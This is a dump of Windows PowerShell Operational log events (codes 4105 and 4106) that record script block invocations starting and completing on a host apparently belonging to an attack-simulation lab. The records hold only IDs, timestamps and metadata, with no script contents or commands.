SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997418 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997417 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997416 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997415 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997414 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997413 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997412 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997411 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997410 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997429 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997428 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997427 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997426 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997425 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997424 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997423 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997422 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997421 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997420 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997439 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997438 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997437 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997436 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997435 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997434 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997433 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997432 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997431 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997430 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997449 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997448 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997447 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997446 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997445 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997444 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997443 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997442 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997441 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997440 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa